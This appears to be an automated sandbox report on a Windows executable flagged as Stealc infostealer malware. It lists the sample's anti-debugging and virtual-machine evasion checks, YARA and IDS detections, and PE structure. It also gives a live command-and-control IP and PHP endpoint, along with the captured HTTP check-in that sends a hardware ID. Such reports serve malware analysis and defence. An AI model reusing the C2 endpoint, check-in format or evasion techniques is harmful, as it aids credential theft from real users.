Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FBBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00FBBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FBDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FBDE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FB1160 GetSystemInfo,ExitProcess,

0_2_00FB1160

Source: file.exe, file.exe, 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1713881816.0000000000CC7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW74
Source: file.exe, 00000000.00000002.1713881816.0000000000CB2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: file.exe, 00000000.00000002.1713881816.0000000000C6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1713881816.0000000000CE5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13351
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13354
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13371
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13366
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13406

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FB45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00FB45C0

Source: C:\Users\user\Desktop\file.exe

0_2_00FC9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FC9750 mov eax, dword ptr fs:[00000030h]

0_2_00FC9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FC78E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_00FC78E0

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 3168, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FC9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00FC9600

Source: file.exe, file.exe, 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00FC7B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FC7980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00FC7980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FC7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00FC7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FC7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00FC7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.fb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1713881816.0000000000C6E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1673353364.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3168, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.fb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1713881816.0000000000C6E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1673353364.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3168, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	44%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://185.215.113.37/ws	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.php0	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpW	17%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37	file.exe, 00000000.00000002.1713881816.0000000000C6E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php0	file.exe, 00000000.00000002.1713881816.0000000000CC7000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/ws	file.exe, 00000000.00000002.1713881816.0000000000CC7000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpW	file.exe, 00000000.00000002.1713881816.0000000000CE5000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1523127
Start date and time:	2024-10-01 06:56:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	1
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 84
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Report size getting too big, too many NtQueryValueKey calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.945644704303884
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'840'128 bytes
MD5:	e12dff26d257800a0f411dda1fdb521f
SHA1:	ed660b5a175dce979ca5e77f13d2e89b2c8aaadc
SHA256:	e082f507be5674e4813a6f32759c2551bfedea8e298082cab225b787b6e89d60
SHA512:	4771f88f9f2a7fa1a165866c1782564d141d8030ff3110cc5d002f8d0ddf2a5e85d66eabca99d10383cff02e0e4b465b9f896d89b27b2e3e6a767cb1d897728b
SSDEEP:	24576:RkRhl9USnloGAklNG66X57K/zlRvKxh6k3aVa12FDhvH55NQ7DrG3Mp5C2GS2:SbKGBnGpNcbchsIg5hvZ5NEi8p5+
TLSH:	E88533A3950EAEE5C7E061FD980311CBAB6CB115FD8F2EF20FAC644B456673682E1453
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa94000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F65A4809E8Ah
pslld mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx+00000004h], bl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
jnle 00007F65A4809E02h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
int 03h
add byte ptr [eax], al
push es
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	d7c5e4fd175dd3e4a7c4c35b551ffd41	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x29a000	0x200	691ac3fb7a6fe7e23240fa258f37c7a3	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mbunfolu	0x4f8000	0x19b000	0x19b000	1d95a7236c16f1cd441e48e051424b8c	False	0.9947512735705596	data	7.952881013739973	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qktpvyhd	0x693000	0x1000	0x600	cd939201cb228c296873b75d96e61c63	False	0.5657552083333334	data	4.952435486423867	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x694000	0x3000	0x2200	17b3a57ca9860797039d1ddec5faee39	False	0.07123161764705882	DOS executable (COM)	0.8099240214878086	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-01T06:56:59.379515+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 1, 2024 06:56:58.444952011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:56:58.449980021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:56:58.450126886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:56:58.450273991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:56:58.455061913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:56:59.149878979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:56:59.149955988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:56:59.152244091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:56:59.157118082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:56:59.379400969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:56:59.379514933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:57:01.801373959 CEST	49730	80	192.168.2.4	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.37	80	3168	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 06:56:58.450273991 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 06:56:59.149878979 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 04:56:59 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 1, 2024 06:56:59.152244091 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIIECAAKECFHIECBKJDH Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 33 43 41 44 32 37 46 37 33 32 34 37 39 36 39 32 32 37 39 36 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 2d 2d 0d 0a Data Ascii: ------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; name="hwid"B3CAD27F7324796922796------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; name="build"doma------IIIECAAKECFHIECBKJDH--
Oct 1, 2024 06:56:59.379400969 CEST	210	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 04:56:59 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	00:56:54
Start date:	01/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xfb0000
File size:	1'840'128 bytes
MD5 hash:	E12DFF26D257800A0F411DDA1FDB521F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1713881816.0000000000C6E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1673353364.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00FC9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00C82320), ref: 00FC98A1
GetProcAddress.KERNEL32(74DD0000,00C823E0), ref: 00FC98BA
GetProcAddress.KERNEL32(74DD0000,00C82440), ref: 00FC98D2
GetProcAddress.KERNEL32(74DD0000,00C82218), ref: 00FC98EA
GetProcAddress.KERNEL32(74DD0000,00C82350), ref: 00FC9903
GetProcAddress.KERNEL32(74DD0000,00C88FD8), ref: 00FC991B
GetProcAddress.KERNEL32(74DD0000,00C75DF0), ref: 00FC9933
GetProcAddress.KERNEL32(74DD0000,00C75AF0), ref: 00FC994C
GetProcAddress.KERNEL32(74DD0000,00C823B0), ref: 00FC9964
GetProcAddress.KERNEL32(74DD0000,00C824E8), ref: 00FC997C
GetProcAddress.KERNEL32(74DD0000,00C82500), ref: 00FC9995
GetProcAddress.KERNEL32(74DD0000,00C823F8), ref: 00FC99AD
GetProcAddress.KERNEL32(74DD0000,00C75AD0), ref: 00FC99C5
GetProcAddress.KERNEL32(74DD0000,00C824B8), ref: 00FC99DE
GetProcAddress.KERNEL32(74DD0000,00C82458), ref: 00FC99F6
GetProcAddress.KERNEL32(74DD0000,00C75C90), ref: 00FC9A0E
GetProcAddress.KERNEL32(74DD0000,00C82470), ref: 00FC9A27
GetProcAddress.KERNEL32(74DD0000,00C82488), ref: 00FC9A3F
GetProcAddress.KERNEL32(74DD0000,00C75AB0), ref: 00FC9A57
GetProcAddress.KERNEL32(74DD0000,00C824A0), ref: 00FC9A70
GetProcAddress.KERNEL32(74DD0000,00C75B10), ref: 00FC9A88
LoadLibraryA.KERNEL32(00C82548,?,00FC6A00), ref: 00FC9A9A
LoadLibraryA.KERNEL32(00C82590,?,00FC6A00), ref: 00FC9AAB
LoadLibraryA.KERNEL32(00C82530,?,00FC6A00), ref: 00FC9ABD
LoadLibraryA.KERNEL32(00C825D8,?,00FC6A00), ref: 00FC9ACF
LoadLibraryA.KERNEL32(00C825A8,?,00FC6A00), ref: 00FC9AE0
GetProcAddress.KERNEL32(75A70000,00C82518), ref: 00FC9B02
GetProcAddress.KERNEL32(75290000,00C82560), ref: 00FC9B23
GetProcAddress.KERNEL32(75290000,00C82578), ref: 00FC9B3B
GetProcAddress.KERNEL32(75BD0000,00C825C0), ref: 00FC9B5D
GetProcAddress.KERNEL32(75450000,00C75D50), ref: 00FC9B7E
GetProcAddress.KERNEL32(76E90000,00C88F78), ref: 00FC9B9F
